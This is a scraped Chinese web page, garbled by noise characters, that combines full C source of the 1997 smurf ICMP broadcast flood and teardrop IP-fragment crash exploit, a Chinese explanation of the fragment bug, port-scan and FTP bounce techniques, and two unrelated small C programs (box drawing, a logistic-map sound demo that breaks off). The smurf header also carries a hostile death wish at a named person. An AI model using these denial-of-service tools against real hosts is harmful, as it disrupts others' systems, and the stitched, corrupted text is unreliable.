3 V3 N  o# f) n0 k9 \+ w  W* N7 b*
& e' b4 B/ `! g* t+ [) g* and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill
& R' q. B$ s% j) e$ B8 M* X& u* Robbins for trying to steal my girlfriend. Not only did you show me
( k$ l  T6 L& |+ P* no respect but you're a manipulating prick who tried to take away the
* most important thing in the world to me with no guilt whatsoever, and
* for that I wish you nothing but pain. Die.
' Z. k4 ]3 J3 ?*
$ i2 o$ w# z6 o: w3 x* disclaimer:
0 u( e* b& ~+ k4 U! j3 f8 M# o" U8 _* I cannot and will not be held responsible nor legally bound for the
* malicious activities of individuals who come into possession of this
# Y$ q$ P7 D; t* a! n+ G: g* program and I refuse to provide help or support of any kind and do NOT
4 f" {! h, X! |7 Z* condone use of this program to deny service to anyone or any machine.
/ s8 G3 b- X" u' r& t6 x0 c: c2 j6 j* This is for educational use only. Please Don't abuse this.
*
" e- @& m; A% t  v$ M* Well, i really, really, hate this code, but yet here I am creating another
8 X% }6 w% M) ?) v2 D* disgusting version of it. Odd, indeed. So why did I write it? Well, I,
* like most programmers don't like seeing bugs in their code. I saw a few
* things that should have been done better or needed fixing so I fixed
* them. -shrug-, programming for me as always seemed to take the pain away
* ...
( |+ c# {8 a) Q' q$ t1 a*
) ~; m8 x: p& l, t*
*/</P><P>#include <SIGNAL.H>
#include <STDIO.H>
3 v' N6 u$ }# c#include <STDLIB.H>
#include <SYS socket.h>
) @9 @( k5 L: H2 K' `% ]3 R#include <SYS types.h>
#include <NETINET in.h>
: ~. J: ]- a6 T; H) `4 I#include <NETINET ip.h>
#include <NETINET ip_icmp.h>
1 k. f9 w( y3 v: f#include <NETDB.H>
$ E" ]7 K! S, u; Z#include <CTYPE.H>
0 C8 l$ h3 e1 S( T9 k  f) R3 j! ^#include <ARPA inet.h>
#include <UNISTD.H>
#include <STRING.H></P><P>void banner(void);
void usage(char *);
void smurf(int, struct sockaddr_in, u_long, int);
void ctrlc(int);
- Y+ X7 L0 O  f* m% junsigned short in_chksum(u_short *, int);</P><P>/* stamp */
char id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";</P><P>int main (int argc, char *argv[])
{
struct sockaddr_in sin;
! Z" _. \& H1 v4 w3 {% d2 Mstruct hostent *he;
FILE *bcastfile;
  S9 i9 x. N4 ^, o1 a$ zint i, sock, bcast, delay, num, pktsize, cycle = 0, x;
char buf[32], **bcastaddr = malloc(8192);</P><P>banner();
signal(SIGINT, ctrlc);</P><P>if (argc &lt; 6) usage(argv[0]);</P><P>if ((he = gethostbyname(argv[1])) == NULL) {
+ `% f8 t1 y0 j- {  eperror("resolving source host");
exit(-1);
- t3 v- M; }% M3 ?}
memcpy((caddr_t)&amp;sin.sin_addr, he-&gt;h_addr, he-&gt;h_length);
/ l: ^8 z% v  m& @2 h! R6 |+ w; Ysin.sin_family = AF_INET;
1 Z- E9 d8 G8 \! B4 F% Ssin.sin_port = htons(0);</P><P>num = atoi(argv[3]);
delay = atoi(argv[4]);
pktsize = atoi(argv[5]);</P><P>if ((bcastfile = fopen(argv[2], "r")) == NULL) {
5 k2 z1 ~$ p' Lperror("opening bcast file");
7 l" b5 @( k! ]4 x' o+ gexit(-1);
/ u3 l) ]) d  G0 R+ c7 G; d$ t}
2 M1 z  |6 H8 O" hx = 0;
while (!feof(bcastfile)) {
fgets(buf, 32, bcastfile);
$ m  c$ t! O; X6 i7 O" a- E9 d- Jif (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;
, c8 M$ J0 f8 V/ L8 n! g2 d- Lfor (i = 0; i &lt; strlen(buf); i++)
if (buf == '\n') buf = '\0';
" T  r3 V* U2 f% J& ~bcastaddr[x] = malloc(32);
% e# ?( t  b4 e( k8 C; Sstrcpy(bcastaddr[x], buf);
& f8 Z7 s/ B& Ix++;
% h$ _9 a& ?8 o7 G1 {0 }}
bcastaddr[x] = 0x0;
fclose(bcastfile);</P><P>if (x == 0) {
$ I, J9 c8 G1 z$ Z8 Xfprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);
$ B2 m* w# n- ], \4 _' H8 |exit(-1);
5 `  s+ Y3 Z/ h; ]9 ]5 T' M, d; T}
4 ~, g  k9 E( R0 vif (pktsize &gt; 1024) {
: n, `6 M# X& p7 @& Wfprintf(stderr, "ERROR: packet size must be &lt; 1024\n\n");
8 r% S4 _' q( }3 G# }' q: V" x' c! Uexit(-1);
/ e* {( N, \. b$ ^- w}</P><P>if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0) {
perror("getting socket");
exit(-1);
, C) A# i& t5 Q# K& g, o2 a}
setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&amp;bcast, sizeof(bcast));</P><P>printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);</P><P>for (i = 0; i &lt; num || !num; i++) {
6 ^4 e0 b5 E7 a- ]3 |if (!(i % 25)) { printf("."); fflush(stdout); }
8 o% I) d3 j# q# P9 h  x* Hsmurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);
- @2 T5 b# \+ _4 s9 }cycle++;
4 ]& u7 `, T. A1 nif (bcastaddr[cycle] == 0x0) cycle = 0;
usleep(delay);
7 w3 S: V6 d$ S" |$ }}
puts("\n\n");
2 y4 T9 L( K! V3 U; w4 l) Nreturn 0;
7 g; N) R9 ^6 N; W}</P><P>void banner (void)
{
7 N" z' q/ s2 k% [; G" j; [& cputs("\nsmurf.c v4.0 by TFreak\n");
7 |1 Y' z: E; Q5 H! y% r}</P><P>void usage (char *prog)
{
7 F6 R, \& w( X+ ~4 {/ Hfprintf(stderr, "usage: %s <TARGET><BCAST file>"
, @; A6 @7 L* j" T  p, N"<NUM packets> <PACKET delay><PACKET size>\n\n"
, y9 I1 i* a8 H) _( {"target = address to hit\n"
"bcast file = file to read broadcast addresses from\n"
"num packets = number of packets to send (0 = flood)\n"
# I4 p% v! z1 a4 ~"packet delay = wait between each packet (in ms)\n"
- ^- Q0 b0 W7 R3 ~"packet size = size of packet (&lt; 1024)\n\n", prog);
" V4 G. u: y  b. uexit(-1);
}</P><P>void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)
{
struct iphdr *ip;
struct icmphdr *icmp;
& N$ Y+ z& r; i( }7 Pchar *packet;</P><P>packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
ip = (struct iphdr *)packet;
# u. m; j7 g2 J6 P- |% ticmp = (struct icmphdr *) (packet + sizeof(struct iphdr));</P><P>memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);</P><P>ip-&gt;tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
$ P6 w( i0 g( N3 D# Cip-&gt;ihl = 5;
/ D" W- O( J( z" B" }3 wip-&gt;version = 4;
- c, s' x2 ^& j) `- x8 g, lip-&gt;ttl = 255;
ip-&gt;tos = 0;
% i4 o% ~" Q" {% }) ?ip-&gt;frag_off = 0;
ip-&gt;protocol = IPPROTO_ICMP;
; N* l: Q) L; e( V7 Y2 e6 D1 {ip-&gt;saddr = sin.sin_addr.s_addr;
! i" [, f+ S& Q: o$ z8 d/ R( i# rip-&gt;daddr = dest;
ip-&gt;check = in_chksum((u_short *)ip, sizeof(struct iphdr));
& F  s7 c. e7 Iicmp-&gt;type = 8;
  ]# Z" _3 @3 c* t1 S- Gicmp-&gt;code = 0;
: b' L2 u3 y& m! W* i. ^icmp-&gt;checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);</P><P>sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,
) V) X1 |/ c6 i: f& [" R0, (struct sockaddr *)&amp;sin, sizeof(struct sockaddr));</P><P>free(packet); /* free willy! */
* W( X" }, D8 v! C2 W6 ^( h! `}</P><P>void ctrlc (int ignored)
{
puts("\nDone!\n");
exit(1);
% o$ G# E6 S# g8 t! ]}</P><P>unsigned short in_chksum (u_short *addr, int len)
( c& i6 Y4 l" [5 }; ?. m& |{
register int nleft = len;
: v$ I( [1 }; g( p7 [! c, mregister int sum = 0;
u_short answer = 0;</P><P>while (nleft &gt; 1) {
( W9 r* v; K0 k, S" M) k" K% J5 a7 Asum += *addr++;
nleft -= 2;
}</P><P>if (nleft == 1) {
*(u_char *)(&amp;answer) = *(u_char *)addr;
sum += answer;
}</P><P>sum = (sum &gt;&gt; 16) + (sum + 0xffff);
2 {6 P& [, N' R* h  nsum += (sum &gt;&gt; 16);
answer = ~sum;
return(answer);
9 M6 e; m5 a% j7 N}</P><P>
3 Teardrop</P><P>在Linux的ip包重组过程中有一个严重的漏洞。</P><P>在ip_glue()中：</P><P>在循环中重组ip包：
4 i" }# p  B' xfp = qp-&gt;fragments;
0 `% j0 A; [) B# y) n0 swhile(fp != NULL)
{
+ v5 H  n* Q; p9 q4 eif(count+fp-&gt;len &gt; skb-&gt;len)
{
error_to_big;
}
! V7 z+ p# F, x; K3 zmemcpy((ptr + fp-&gt;offset), fp-&gt;ptr, fp-&gt;len);
count += fp-&gt;len;
fp = fp-&gt;next;
+ O$ w& X+ r4 Q& {}
这里只检查了长度过大的情况，而没有考虑长度过小的情况，
如 fp-&gt;len&lt;0 时，也会使内核拷贝过多的东西。</P><P>计算分片的结束位置：
: D; E0 |$ @: a) [2 T( G, O6 Lend = offset + ntohs(iph-&gt;tot_len) - ihl;</P><P>当发现当前包的偏移已经在上一个包的中间时(即两个包是重叠的）
是这样处理的：
if (prev != NULL &amp;&amp; offset &lt; prev-&gt;end)
{
6 E8 ?- d' m& z6 E  b4 Wi = prev-&gt;end - offset;
offset += i; /* ptr into datagram */
  x4 I: ]8 g& T3 \ptr += i; /* ptr into fragment data */
}</P><P>/* Fill in the structure. */
; ]/ E( K  E# t' t9 R# ]! Rfp-&gt;offset = offset;
& z. `. C0 c3 d$ |5 {fp-&gt;end = end;
4 |. c" |* m# ~2 x( Zfp-&gt;len = end - offset; //fp-&gt;len是一个有符号整数</P><P>举个例子来说明这个漏洞：
第一个碎片：mf=1 offset=0 payload=20
7 t* }3 [* ]" C1 u% _. H敌二个碎片：mf=0 offset=10 payload=9</P><P>这样第一个碎片的 end=0+20
0 c" G% l  ]; {4 d* x: a" @offset=0
这样第二个碎片的 end=9+10=19
offset=offset+（20-offset）=20
' z/ x1 ~3 |: s! n$ F' @% Tfp-〉len=19-20=-1； </P><P>那么memcpy将拷贝过多的数据导致崩溃。</P><P>
/*
* Copyright (c) 1997 route|daemon9 <ROUTE@INFONEXUS.COM>11.3.97
1 |1 `/ l6 A$ {7 T6 W7 w*
; A; D; g% ^5 C+ K* Linux/NT/95 Overlap frag bug exploit
( |" \4 }# W) T% D! ^2 c+ u*
- d$ K5 e2 l3 X* Exploits the overlapping IP fragment bug present in all Linux kernels and
8 ]* z, n5 @; e) d1 z, U9 y* NT 4.0 / Windows 95 (others?)
*
* Based off of: flip.c by klepto
* Compiles on: Linux, *BSD*
8 Q6 T& u# \  j" O, ~% `6 E8 @/ W( p*
* gcc -O2 teardrop.c -o teardrop
* OR
* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING
*/</P><P>#include <STDIO.H>
#include <STDLIB.H>
#include <UNISTD.H>
#include <STRING.H>
* _# u* k! ^% q4 [" i. g; W#include <NETDB.H>
5 ~& s% F! _* t* J4 k% Q, P' s#include <NETINET in.h>
+ q1 j% y) b# q2 {) o#include <NETINET udp.h>
4 E8 u9 x* Y* |- O, a; J#include <ARPA inet.h>
8 |2 e# E9 M! N6 n8 Q% g4 e  I#include <SYS types.h>
$ E# V: q8 a. T8 ?- a* n#include <SYS time.h>
#include <SYS socket.h></P><P>#ifdef STRANGE_BSD_BYTE_ORDERING_THING
# R+ ~0 U& W5 P6 \/* OpenBSD &lt; 2.1, all FreeBSD and netBSD, BSDi &lt; 3.0 */
#define FIX(n) (n)
#else /* OpenBSD 2.1, all Linux */
0 p) S% e4 w$ C, g) Q#define FIX(n) htons(n)
4 I+ L/ a) P4 \' {+ B0 r#endif /* STRANGE_BSD_BYTE_ORDERING_THING */</P><P>#define IP_MF 0x2000 /* More IP fragment en route */
- i: F( Q5 P9 v! w; h#define IPH 0x14 /* IP header size */
) @: B( \4 f1 U# g0 F( i% i9 `2 I#define UDPH 0x8 /* UDP header size */
  n! P2 R: |+ L#define PADDING 0x1c /* datagram frame padding for first packet */
#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */
, s6 D3 Q; ]4 L% e" x& O; I#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can
* withstand maybe 5 or 10 sometimes... Experiment.
*/</P><P>void usage(u_char *);
4 v& o6 q  }% ~' P# j" c# gu_long name_resolve(u_char *);
& o, |5 k$ B: Z4 Yu_short in_cksum(u_short *, int);
void send_frags(int, u_long, u_long, u_short, u_short);</P><P>int main(int argc, char **argv)
{
int one = 1,
count = 0,
  k6 a& A3 Z  [: Wi,
rip_sock;
& M% r" G, G: t# hu_long src_ip = 0, dst_ip = 0;
u_short src_prt = 0, dst_prt = 0;
struct in_addr addr;</P><P>fprintf(stderr, "teardrop route|daemon9\n\n");</P><P>//建SOCK_RAW
if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0)
{
perror("raw socket");
- f7 r* z7 T& O# z. J& Y% bexit(1);
}
1 Y) Q0 F5 \/ D1 J/ v9 C3 u& u//由系统处理IP校验和。
3 y* ]& V5 Y9 o. S. I* }if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&amp;one, sizeof(one))
6 N9 V  L$ T" ?9 V. ^0 S+ L) W. Q&lt; 0)
{
perror("IP_HDRINCL");
exit(1);
" Z1 |' ^0 M' l$ k2 v! }}</P><P>if (argc &lt; 3) usage(argv[0]);
if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
{
! O: Z) J9 b* n- q6 t! X+ ~& A4 g# wfprintf(stderr, "What the hell kind of IP address is that?\n");
4 i; v3 j7 L! B0 oexit(1);
}</P><P>while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
{
switch (i)
{
7 V* v" \3 P9 ]: x# jcase 's': /* source port (should be emphemeral) */
src_prt = (u_short)atoi(optarg);
* l8 O+ j/ F6 f3 @5 m0 R0 }break;
case 't': /* dest port (DNS, anyone?) */
! |, O& D# S& v' Z9 L" z0 Qdst_prt = (u_short)atoi(optarg);
break;
case 'n': /* number to send */
, ~% |9 W& L6 v: h/ ?; Gcount = atoi(optarg);
break;
default :
1 T1 D0 j4 Q" S. L; [usage(argv[0]);
8 G5 a- g* F( C# ~* Sbreak; /* NOTREACHED */
3 f6 J: i+ R) ^, d8 G+ z' c# i% _}
}</P><P>srandom((unsigned)(time((time_t)0)));
if (!src_prt) src_prt = (random() % 0xffff);
. \+ u! [% ~! R! I4 xif (!dst_prt) dst_prt = (random() % 0xffff);
4 q; z8 u" K# x- ?& lif (!count) count = COUNT;</P><P>fprintf(stderr, "Death on flaxen wings:\n");
addr.s_addr = src_ip;
& e! ]- h! }$ u5 ~  C, Jfprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
addr.s_addr = dst_ip;
fprintf(stderr, " T %15s.%5d\n", inet_ntoa(addr), dst_prt);
fprintf(stderr, " Amt: %5d\n", count);
fprintf(stderr, "[ ");</P><P>for (i = 0; i &lt; count; i++)
7 {# A" J8 T$ f( t0 ]7 _{
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
7 p- |2 [: \. a5 @8 J+ Zfprintf(stderr, "b00m ");
usleep(500);
6 L  s8 w1 e7 x4 g# L- i2 ?2 k}
8 n0 P9 Z9 [( M. q2 K- x- ofprintf(stderr, "]\n");
return (0);
}</P><P>/*
2 ?4 V* h* i1 N6 n; Y; d+ ~' _* Send two IP fragments with pathological offsets. We use an implementation
* independent way of assembling network packets that does not rely on any of
& ?" I- v8 R" m( f# \4 Z- @* ?* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
& f9 s. i7 ^+ h5 G4 J1 C*/</P><P>void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
u_short dst_prt)
+ @+ W, g1 t1 w9 S, ^- V* b- F{
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
3 l, X2 X8 F8 J' ^" N, fu_char byte; /* a byte */
struct sockaddr_in sin; /* socket protocol structure */</P><P>sin.sin_family = AF_INET;
( T' @5 b( v# H0 b6 ^$ xsin.sin_port = src_prt;
: o# h: K3 W. J/ n9 ?sin.sin_addr.s_addr = dst_ip;</P><P>/*
- C" Q% U% h+ u4 \, j1 L' }* Grab some memory for our packet, align p_ptr to point at the beginning
* of our packet, and then fill it with zeros.
*/
packet = (u_char *)malloc(IPH + UDPH + PADDING);
  k( E4 {, Q8 I6 xp_ptr = packet;
# {6 N# c8 M# Hbzero((u_char *)p_ptr, IPH + UDPH + PADDING);</P><P>byte = 0x45; /* IP version and header length */
; t: w" d6 C  W% S' Q; Z$ kmemcpy(p_ptr, &amp;byte, sizeof(u_char));
p_ptr += 2; /* IP TOS (skipped) */
7 v' E" v. S: ]' P*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */
p_ptr += 2;
8 R" X# M- E/ T1 D, w1 I- r# m. r*((u_short *)p_ptr) = htons(242); /* IP id */
p_ptr += 2;
& m/ G9 d4 B( t, n*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */
8 \, n* Z2 ~* j6 }3 H% y0 g. A1 Zp_ptr += 2;
*((u_short *)p_ptr) = 0x40; /* IP TTL */
% a3 F+ ~( }+ f1 C+ Y, m' T9 g" Fbyte = IPPROTO_UDP;
memcpy(p_ptr + 1, &amp;byte, sizeof(u_char));
p_ptr += 4; /* IP checksum filled in by kernel */
*((u_long *)p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
8 b( t. F. I+ J' u, {*((u_long *)p_ptr) = dst_ip; /* IP destination address */
$ \2 v) L8 N! n1 \, pp_ptr += 4;
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
7 r0 r7 E4 D; P1 P- ~8 C6 [2 ?p_ptr += 2;
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */</P><P>if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&amp;sin,
8 S; f( |2 h* U, X0 Y5 {sizeof(struct sockaddr)) == -1)
{
: P/ m9 ^, l+ I3 Cperror("\nsendto");
, \* D: D0 u/ W( ufree(packet);
exit(1);
}</P><P>/* We set the fragment offset to be inside of the previous packet's
" O3 w+ j) c1 [: u* payload (it overlaps inside the previous packet) but do not include
' c- t* g; ~: i$ U; S& S* enough payload to cover complete the datagram. Just the header will
# z: D, x/ e) Z4 `  _* do, but to crash NT/95 machines, a bit larger of packet seems to work
* better.
*/
: ]) k. d, N( i/ cp_ptr = &amp;packet[2]; /* IP total length is 2 bytes into the header */
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
$ S8 L" ?6 {: i) s2 M, T$ qp_ptr += 4; /* IP offset is 6 bytes into the header */
" N( Q) S  W% n2 |*((u_short *)p_ptr) = FIX(MAGIC);</P><P>if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&amp;sin,
9 |  }9 a5 e- g' Vsizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
exit(1);
. R* L3 y# I. ?1 ]! _% b( ]9 _0 L}
2 w7 i9 N; E4 x* t5 z' Tfree(packet);
}</P><P>u_long name_resolve(u_char *host_name)
+ z- I2 N. X1 n{
struct in_addr addr;
# ^" J1 V6 }; y8 e) s# M* Jstruct hostent *host_ent;</P><P>if ((addr.s_addr = inet_addr(host_name)) == -1)
{
if (!(host_ent = gethostbyname(host_name))) return (0);
& n, p  d* n9 \) f& d. p8 Obcopy(host_ent-&gt;h_addr, (char *)&amp;addr.s_addr, host_ent-&gt;h_length);
0 q9 G: l( x7 ^) G, j# E}
) T* c: n1 \( Z' G5 Ereturn (addr.s_addr);
}</P><P>void usage(u_char *name)
% g. g& e$ v; o1 x' a9 A7 F{
fprintf(stderr,
"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
name);
exit(0);
}</P><P>
4 Portscan 和 Antiportscan</P><P>Portscan的两种主要方法：
(1) Half-open（半打开）
/ v5 I7 q; r( o利用下面特性：但一个主机收到向某个端口（TCP）发出的(SYN)，
& P4 D% ~2 @+ k' Z0 ?) j6 F如果在这个端口有服务，那么返回（SYN+ASK），不然返回（RST）。</P><P>(2) FTP scanner
利用了FTP的port命令，例如可以这样作：
选择一个FTP服务器，连上后令port命令指向目标机，如果返回
值是正确的，那么目标机的该端口是有服务的，如返回打开端口错误则
- U) V/ i5 b( x该端口无服务。
telnet 192.168.1.13 21
9 x9 B' B0 e7 G4 tTrying 192.168.1.13...
/ P' q9 [" O* U9 m# tConnected to pp.bricks.org.
) g  D% {$ `8 L. q+ Z4 dEscape character is '^]'.
220 pp.bricks.org FTP server (Version wu-2.4.2-academ[BETA-16](1)
7 |& ]. t/ ~; U6 `) {  V( H7 G7 JThu May 7 23:18:05 EDT 1998) ready.</P><P>user anonymous
331 Guest login ok, send your complete e-mail address as password.
pass aa@aa.aa
230 Guest login ok, access restrictions apply.
port a,b,c,d,p1,p2 // a.b.c.d是要探测的目标 p1 p2是目的端口</P><P>150 Opening ASCII mode data connection for file list.
6 ]/ w& t4 @+ J- U; G1 h  e. ?425 Can't build data connection: Connection refused.
//该端口未活动
150 Opening ASCII mode data connection for file list.
226 Transfer complete.
# E: x- r3 j: U6 L+ V" d& s0 T//该端口活动中
. w& d5 x' Z( d但有些FTP服务器禁止你将数据连接影响其他地址，那就没办法了。</P><P>上述两种方法是通用的，而针对个别系统有一些特殊方法。</P><P>如一些系统受到包后会作如下处理：</P><P>标志 活动的端口的应答 不活动端口的应答 </P><P>SYN SYN|ACK RST 或 Nothing
SYN|FIN ACK or SYN|ACK* RST
ACK Nothing RST
0 flag Nothing RST</P><P>你最好是试一试。</P><P>Antiport
一般是调用 sd=socket(PF_INET,SOCK_RAW,6),然后不停的读，
! l) S2 W" `- [( F# i+ K若发现一个主机不停的象你发送（SYN）包，却没有完成连结，可以认
定它在向你做portscan。</P><P>notes：
6 l! `# S5 F% D& r9 ], {早期的portscan程序是老老实实的向你一个一个端口连（完成三次握手），
. @+ I# f+ z$ V而一些antiscan是在一个平时不用的端口上起一个服务器，并认为连上来的
都是向它scan。</P>

韩冰

<DIV align=center><FONT size=3><B><FONT color=#cc0000>设计彩色框的C源程序</FONT></B></FONT></DIV><>
7 U: v  f& |& `<FONT color=#009900>/*
*
* Short driver module
, d& I5 y# Y3 Q( F*
3 x1 Q+ I+ }; q. n*/</FONT></P><><FONT color=#009900>main()
{
* g% U1 p1 [+ O+ s; m" N+ Sclrscr();
2 m5 |- n8 t4 o8 d) Z& vbox(1,1,23,79);
box(2,2,21,77);
box(3,3,19,75);
! _# V  z  x8 C  J% r6 g) t# fbox(4,4,17,73);
box(5,5,15,71);
0 k: m# u$ t4 _( C  Rbox(6,6,13,69);
3 F# @7 H2 H/ \" kbox(7,7,11,67);
box(8,8,9,65);
box(9,9,7,63);
5 ~/ I7 e! t+ b% [3 {2 {, ibox(10,10,5,61);
; F5 ~9 J4 n% n3 N! N) p8 k$ hbox(11,11,3,59);
box(12,12,1,57);
" n+ v: z6 R1 m  ]7 ]% [! K! Nposcur(24,1);
1 {2 _) B+ v9 @}</FONT></P><><FONT color=#009900>/************************************************************
* BOX *
7 k6 M, }/ E+ I6 z# O1 a% f! H*----------------------------------------------------------*
* G6 @& H- r8 w6 ^" u4 V% h! }$ x( i* Written by: Jeff Ebert 7/01/87 *
* Modified by: xxxxxxxxxx *
* *
* Please modify me! *
6 X9 D0 K9 [- W. V0 s; a& L! G* Possible Enhancements include but are not limited t *
% [5 q0 g7 |: x/ J2 z7 C( L* 1) Variable box character styles [1 line or 2] *
* 2) Error checking *
* 3) Color options *
* *
! e0 a: u. f4 d" U* *
& F+ }$ }. x6 N0 f5 C2 e9 i! C* This function builds a simple double frame for a menu. *
1 R6 a; q. t) v( ?3 l# X* The function is passed the parameters for the upper *
* left corner row, upper left corner column the height *
* of the frame and the width. *
- K. l7 p# ]4 Q- i6 |* *
************************************************************/
# \+ k4 O& S3 S/ D8 ?#include <STDIO.H></FONT></P><><FONT color=#009900>#define ULCOR 201
#define URCOR 187
#define LLCOR 200
#define LRCOR 188
#define VBAR 186
! }8 T2 Y* i( Y#define HBAR 205
7 T) O* X) O% D. a#define ESC 27</FONT></P><><FONT color=#009900>
/ R2 [7 Z$ w' }: b# O  @7 u9 |2 `box(row, col, hgt, wdth)
4 c0 l, D& S6 T/ ?" _- z% N9 \int row, col, hgt, wdth;</FONT></P><><FONT color=#009900>{
9 W7 d* H7 W3 w, g  Oint x, y;</FONT></P><><FONT color=#009900>poscur(row,col);
/ i8 B* ?* K# e9 c) s& `' _; M( |putchar(ULCOR);
3 b4 o$ f- @. G' f( U" hfor(x = col + 1; x &lt;=(col + wdth -1); x++)
putchar(HBAR);
' q% I" X. w0 G* yputchar(URCOR);</FONT></P><><FONT color=#009900>for(x = row + 1; x &lt;=(row + hgt - 1); x++){
) X% q; m3 k# A% O2 N( F( Y; P4 e; wposcur(x,col);
putchar(VBAR);
poscur(x,col+wdth);
8 B+ x9 x' A0 J8 i6 h+ ^$ C* gputchar(VBAR);
2 N# f: V! D- f1 g* p) p& \) D}
poscur(x,col);
9 D1 i+ o5 r8 l: eputchar(LLCOR);
for(x= col + 1; x &lt;=(col + wdth -1); x++)
9 h+ g# Z6 b; Z; E" bputchar(HBAR);
7 G# E( ~. a6 w% `& q. pputchar(LRCOR);
}</FONT></P><><FONT color=#009900>/********************************************************
* POSCUR *
3 g* `; w9 M/ m2 c7 W*------------------------------------------------------*
  y7 Z+ k; L: r0 F1 y* This function positions the cursor at the specified *
* x,y coordinate. It uses the ANSI standard ESCAPE *
* sequence to produce the desired effect. Its not the *
, s' m& N0 \  p2 p! L9 ^* Q: F  V* fastest way to position the cursor, but perhaps the *
# P5 l- g* u, E3 \4 b* most portable. *
+ E- {4 \  Z9 y! A" F3 C4 `* H* *
' t7 O# }6 q' b) A1 V********************************************************/
8 U( N6 ]/ _, y! X& L7 P0 rposcur(xcor,ycor)
int xcor,ycor;
{
printf("%c[%d;%dH",ESC,xcor,ycor);
7 N: Z$ E# ?+ f# o0 n}</FONT></P><><FONT color=#009900>
/********************************************************
: X# E" K$ p. c' z; _3 p* CLRSCR *
*------------------------------------------------------*
* This function positions the cursor at the specified *
* x,y coordinate. It uses the ANSI standard ESCAPE *
* sequence to produce the desired effect. Its not the *
9 a5 c0 e' B  |8 l9 J* W* fastest way to position the cursor, but perhaps the *
$ ]5 C+ {8 t  t+ f* most portable. *
* *
' c8 ~6 g" Q5 x/ r4 L********************************************************/
clrscr()
{
0 i8 X- h, [5 ~5 Vprintf("%c[2J",ESC);
}</FONT>
$ R7 d2 E6 B2 f* m, Z, ?" @! n( ?3 P2 }</P>

韩冰

<DIV align=center><FONT size=3><B><FONT color=#cc0000>聆听混沌的声音</FONT></B></FONT></DIV><DIV align=center><b><FONT color=#cc0000 size=3></FONT></b> </DIV><DIV align=center><>　　本世纪70年代初，美国普林斯顿大学的生态学家R·May在研究昆虫群体繁殖规律时提出一个著名的模型： χ[n＋1]=k＊χ[n]＊(1－χ[n])
</P><>　　其中χ[n]表示第n代群体的数目。当给定一个初始的χ[0]值，然后不停地迭代，人们发现随着k值的不同，得到的序列χn 有许多有趣的现象。当k值介于0与1之间时，χ[n]经过一定次数的迭代后都趋于0。当k值介于1和3之间时趋于1/k，当k值大于3时，经过一定次数的迭代后χ[n]在2个值之间交替变化，k值增加到3.449附近时，交替变化值又变为4个。继续增加k值，χ[n]交替变化的值的个数依4→8→16→32的次序迅速加倍，终于一片混沌。但当k值在3.835附近时，经过一定次数的迭代后，χ[n]非常简单地在3个值之间交替变化，接着又迅速依3→6→12的次序迅速增长。如此反复，在简单的方程中隐藏着令人惊奇的复杂性。χ[n]随k的变化情况如下图所示：
% z# @1 E; c- G" _
　　为了体现这种复杂之中的无穷奥妙，下面这个用TC2.0编写的小程序用χ[n]大小来控制PC喇叭的发音频率，设定不同的k值，我们就可以聆听到混沌的声音。
- C3 ]% J) B) b8 ^/ A( b% @　　<FONT color=#009900>＃include <DOS.H>
　　＃include <STDIO.H>
　　main(){
　　int fMin=20,fMax=16000; /＊fMin代表最低频率，fMax代表最高频率＊/
# q; |1 @% u' m" \　　int fDis,i,j; /＊fDis代表最高频率和最低频率之间的差值＊/
. J# M& V: K) z7 ^) k' R) o　　/＊i,j用于循环记数＊/
　　float x=0.1,k; /＊x代表x[n]的大小，设定其初始值为0.1，即x[0]=0.1＊/
6 L& o/ [* o% b5 D　　fDis=fMax－fMin;
5 u. [0 D. G" ?3 T  p2 N! Q4 f　　for(j=1;;j＋＋){
  w7 ~! O/ c! }5 w+ `9 u) D9 b　　printf("lease input The value of k(1－4.0)\n"); /＊输入k值＊/
. B; i2 z, }5 [9 h　　printf("If you want to quit,Please input:0\n"); /＊如果k=0退出＊/
( l; w6 \0 k( x1 K# m) G2 w　　scanf("％f",＆k);
0 r! e- X9 T3 B' I　　if (k==0) break;
　　for(i=1;i&lt;100;i＋＋) /＊去除开始的100个点＊/
$ }6 ]" ^: |8 H$ D9 N/ h$ T0 ]　　x=k＊x＊(1－x);
' [7 b( {! v3 u　　for (i=1;i&lt;100;i＋＋){
